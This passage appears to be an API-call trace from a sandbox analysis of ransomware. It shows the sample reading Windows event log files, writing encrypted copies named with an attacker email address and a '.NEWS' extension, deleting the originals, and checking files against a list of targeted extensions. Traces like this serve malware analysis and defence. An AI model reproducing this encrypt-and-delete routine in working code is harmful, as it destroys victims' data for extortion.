(lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0078.885] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.885] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.885] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0078.886] GetLastError () returned 0x0 [0078.886] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x11000, lpOverlapped=0x0) returned 1 [0078.888] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x11010, lpOverlapped=0x0) returned 1 [0078.890] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.890] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x122, lpOverlapped=0x0) returned 1 [0078.890] SetEndOfFile (hFile=0x35c) returned 1 [0078.891] CloseHandle (hObject=0x35c) returned 1 [0078.893] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.893] SetEndOfFile (hFile=0x37c) returned 1 [0078.894] CloseHandle (hObject=0x37c) returned 1 [0078.894] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0078.894] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 1 [0078.895] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0078.895] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0078.895] lstrlenW (lpString=".doc") returned 4 [0078.895] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.895] lstrlenW (lpString=".docx") returned 5 [0078.895] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.895] lstrlenW (lpString=".pdf") returned 4 [0078.895] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.896] lstrlenW (lpString=".xls") returned 4 [0078.896] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.896] lstrlenW (lpString=".xlsx") returned 5 [0078.896] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.896] lstrlenW (lpString=".ppt") returned 4 [0078.896] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0078.896] lstrlenW (lpString=".zip") returned 4 [0078.896] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.896] lstrlenW (lpString=".rar") returned 4 [0078.896] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.896] lstrlenW (lpString=".bz2") returned 4 [0078.896] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.896] lstrlenW (lpString=".7z") returned 3 [0078.896] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0078.896] lstrlenW (lpString=".dbf") returned 4 [0078.896] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0078.896] lstrlenW (lpString=".1cd") returned 4 [0078.896] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0078.896] lstrlenW (lpString=".jpg") returned 4 [0078.896] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0078.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0078.896] lstrlenW (lpString=".doc") returned 4 [0078.896] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.896] lstrlenW (lpString=".docx") returned 5 [0078.896] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.896] lstrlenW (lpString=".pdf") returned 4 [0078.896] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.896] lstrlenW (lpString=".xls") returned 4 [0078.896] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.896] lstrlenW (lpString=".xlsx") returned 5 [0078.897] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.897] lstrlenW (lpString=".ppt") returned 4 [0078.897] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.897] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0078.897] lstrlenW (lpString=".zip") returned 4 [0078.897] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.897] lstrlenW (lpString=".rar") returned 4 [0078.897] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.897] lstrlenW (lpString=".bz2") returned 4 [0078.897] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.897] lstrlenW (lpString=".7z") returned 3 [0078.897] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.897] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0078.897] lstrlenW (lpString=".dbf") returned 4 [0078.897] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.897] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0078.897] lstrlenW (lpString=".1cd") returned 4 [0078.897] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.897] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0078.897] lstrlenW (lpString=".jpg") returned 4 [0078.897] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.897] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0078.897] lstrlenW (lpString="Microsoft-Windows-NCSI%4Operational.evtx") returned 40 [0078.897] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0078.898] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=69632) returned 1 [0078.898] CloseHandle (hObject=0x37c) returned 1 [0078.898] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20 [0078.898] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.898] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0078.898] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.898] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.898] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0078.898] GetLastError () returned 0x0 [0078.898] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x11000, lpOverlapped=0x0) returned 1 [0079.335] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x11010, lpOverlapped=0x0) returned 1 [0079.338] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.338] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x124, lpOverlapped=0x0) returned 1 [0079.338] SetEndOfFile (hFile=0x35c) returned 1 [0079.338] CloseHandle (hObject=0x35c) returned 1 [0079.341] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.341] SetEndOfFile (hFile=0x37c) returned 1 [0079.342] CloseHandle (hObject=0x37c) returned 1 [0079.343] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0079.343] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 1 [0079.343] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0079.343] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0079.343] lstrlenW (lpString=".doc") returned 4 [0079.343] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.343] lstrlenW (lpString=".docx") returned 5 [0079.343] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.344] lstrlenW (lpString=".pdf") returned 4 [0079.344] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.344] lstrlenW (lpString=".xls") returned 4 [0079.344] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.344] lstrlenW (lpString=".xlsx") returned 5 [0079.344] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.344] lstrlenW (lpString=".ppt") returned 4 [0079.344] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.344] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0079.344] lstrlenW (lpString=".zip") returned 4 [0079.344] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.344] lstrlenW (lpString=".rar") returned 4 [0079.344] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.344] lstrlenW (lpString=".bz2") returned 4 [0079.344] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.344] lstrlenW (lpString=".7z") returned 3 [0079.344] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.344] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0079.344] lstrlenW (lpString=".dbf") returned 4 [0079.344] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.344] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0079.344] lstrlenW (lpString=".1cd") returned 4 [0079.344] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.344] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0079.344] lstrlenW (lpString=".jpg") returned 4 [0079.344] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.344] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0079.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0079.345] lstrlenW (lpString=".doc") returned 4 [0079.345] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.345] lstrlenW (lpString=".docx") returned 5 [0079.345] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.345] lstrlenW (lpString=".pdf") returned 4 [0079.345] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.345] lstrlenW (lpString=".xls") returned 4 [0079.345] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.345] lstrlenW (lpString=".xlsx") returned 5 [0079.345] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.345] lstrlenW (lpString=".ppt") returned 4 [0079.345] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0079.345] lstrlenW (lpString=".zip") returned 4 [0079.345] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.345] lstrlenW (lpString=".rar") returned 4 [0079.345] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.345] lstrlenW (lpString=".bz2") returned 4 [0079.345] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.345] lstrlenW (lpString=".7z") returned 3 [0079.345] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0079.345] lstrlenW (lpString=".dbf") returned 4 [0079.345] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0079.345] lstrlenW (lpString=".1cd") returned 4 [0079.345] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.346] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0079.346] lstrlenW (lpString=".jpg") returned 4 [0079.346] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.346] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0079.346] lstrlenW (lpString="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 64 [0079.346] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0079.346] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=69632) returned 1 [0079.346] CloseHandle (hObject=0x37c) returned 1 [0079.346] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20 [0079.347] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.347] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0079.347] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.347] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.347] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0079.347] GetLastError () returned 0x0 [0079.347] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x11000, lpOverlapped=0x0) returned 1 [0079.351] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x11010, lpOverlapped=0x0) returned 1 [0079.353] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.353] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x154, lpOverlapped=0x0) returned 1 [0079.354] SetEndOfFile (hFile=0x35c) returned 1 [0079.354] CloseHandle (hObject=0x35c) returned 1 [0079.357] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.357] SetEndOfFile (hFile=0x37c) returned 1 [0079.358] CloseHandle (hObject=0x37c) returned 1 [0079.358] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0079.359] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 1 [0079.359] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0079.359] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0079.359] lstrlenW (lpString=".doc") returned 4 [0079.359] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.359] lstrlenW (lpString=".docx") returned 5 [0079.359] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.359] lstrlenW (lpString=".pdf") returned 4 [0079.359] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.359] lstrlenW (lpString=".xls") returned 4 [0079.359] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.359] lstrlenW (lpString=".xlsx") returned 5 [0079.359] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.359] lstrlenW (lpString=".ppt") returned 4 [0079.359] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.360] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0079.360] lstrlenW (lpString=".zip") returned 4 [0079.360] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.360] lstrlenW (lpString=".rar") returned 4 [0079.360] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.360] lstrlenW (lpString=".bz2") returned 4 [0079.360] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.360] lstrlenW (lpString=".7z") returned 3 [0079.360] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.360] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0079.360] lstrlenW (lpString=".dbf") returned 4 [0079.360] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.360] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0079.360] lstrlenW (lpString=".1cd") returned 4 [0079.360] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.360] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0079.360] lstrlenW (lpString=".jpg") returned 4 [0079.360] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.360] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0079.360] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0079.360] lstrlenW (lpString=".doc") returned 4 [0079.360] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.360] lstrlenW (lpString=".docx") returned 5 [0079.360] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.360] lstrlenW (lpString=".pdf") returned 4 [0079.360] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.360] lstrlenW (lpString=".xls") returned 4 [0079.360] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.361] lstrlenW (lpString=".xlsx") returned 5 [0079.361] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.361] lstrlenW (lpString=".ppt") returned 4 [0079.361] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.361] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0079.361] lstrlenW (lpString=".zip") returned 4 [0079.361] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.361] lstrlenW (lpString=".rar") returned 4 [0079.361] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.361] lstrlenW (lpString=".bz2") returned 4 [0079.361] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.361] lstrlenW (lpString=".7z") returned 3 [0079.361] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.361] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0079.361] lstrlenW (lpString=".dbf") returned 4 [0079.361] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.361] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0079.361] lstrlenW (lpString=".1cd") returned 4 [0079.361] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.361] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0079.361] lstrlenW (lpString=".jpg") returned 4 [0079.361] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.361] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0079.361] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Debug.evtx") returned 41 [0079.362] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0079.365] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=1052672) returned 1 [0079.365] CloseHandle (hObject=0x37c) returned 1 [0079.365] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20 [0079.365] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.365] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0079.366] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.366] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.366] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0079.367] GetLastError () returned 0x0 [0079.367] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0079.571] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0079.590] ReadFile (in: hFile=0x37c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, 